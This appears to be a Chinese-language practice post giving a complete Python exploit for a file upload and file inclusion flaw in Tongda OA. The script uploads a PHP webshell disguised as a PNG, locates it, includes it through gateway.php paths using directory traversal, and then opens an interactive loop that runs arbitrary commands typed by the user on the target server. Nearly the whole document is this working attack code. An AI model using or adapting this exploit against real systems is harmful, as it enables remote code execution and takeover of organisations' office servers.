通达OA文件上传+文件包含漏洞 【POC+EXP练习计划2】

通达OA文件上传+文件包含漏洞 【POC+EXP练习计划2】

#因为路径要循环判断，所以看起来有点杂乱

#文件包含要加上Content-Type: application/x-www-form-urlencoded。但是上传不能用这个，所以弄了两个headers

#在同目录下要存在一个123.php ， 123.php是要上传的马

import requests
import re

headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3362.0 Safari/537.36'}

headers1 = {
           'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3362.0 Safari/537.36',
           'Content-Type':'application/x-www-form-urlencoded'
}
proxies = {'http':'http://127.0.0.1:8080'}

class Poc:
    def __init__(self,url,uploadUrl):
        self.url = url
        self.uploadUrl = self.url + uploadUrl
        self.includeUrl = None
        self.file = None
        self.cmd = 'echo H9_dawn'
        self.status = 0

    def upload(self):
        files = {'ATTACHMENT':('123.php.',open('123.php.','rb'),'image/png')}
        data = {'UPLOAD_MODE':2,'P':'123'}
        response = requests.post(self.uploadUrl,headers=headers,data=data,files=files)
        if 'OK' in str(response.content):
            return str(response.content)
        else :
            return 'No'

    def include(self):
        data = 'json={"url":"'+self.file+'"}&cmd='+self.cmd
        response = requests.post(self.includeUrl,headers=headers1,data=data)
        response = str(response.content)
        if "H9_dawn" in response:
            self.status = 1

    def rce(self):
        data = 'json={"url":"' + self.file + '"}&cmd=' + self.cmd
        response = requests.post(self.includeUrl, headers=headers1, data=data)
        response = str(response.content)
        print(response)


def zz(html):
    rere = re.compile('@(\d+)_|(\d+)\||([1-9a-z.]+)\.\|')
    dic1 = rere.findall(html)
    return dic1[0][0] + '/' + dic1[1][1] + '.' + dic1[2][2]

if __name__ == '__main__':
    logo = '''
            __    __    ___           
           |  |  |  |  / _ \          ____                      
           |  |__|  | | (_) |        |  _ \  __ ___      ___ __   
           |   __   |  \__, |        | | | |/ _` \ \ /\ / / '_ \ 
           |  |  |  |    / /         | |_| | (_| |\ V  V /| | | | 
           |__|  |__|   /_/   ______ |____/ \__,_| \_/\_/ |_| |_|
           '''
    print(logo)
    url = 'http://localhost'
    uploadUrl = '/ispirit/im/upload.php'
    includeUrl = ['/ispirit/interface/gateway.php', '/mac/gateway.php','/interface/gateway.php']
    includeDir = '/general/../../attach/im/'
    poc = Poc(url, uploadUrl)
    status = 0
    resp = poc.upload()
    if (resp == 'No'):
        print("上传失败")
    else:
        fileName = zz(resp)
        for i in includeUrl:
            poc.includeUrl = url + i
            poc.file = includeDir + fileName
            poc.include()
            if poc.status == 1:
                print("[+++]恭喜你，存在通达OA漏洞")
                status = 1
                break
        if status == 1:
            while (1):
                cmd = input("请输入你要执行的命令： ")
                poc.cmd = cmd
                poc.rce()
        else :
            print("[---]很遗憾，不存在通达OA漏洞")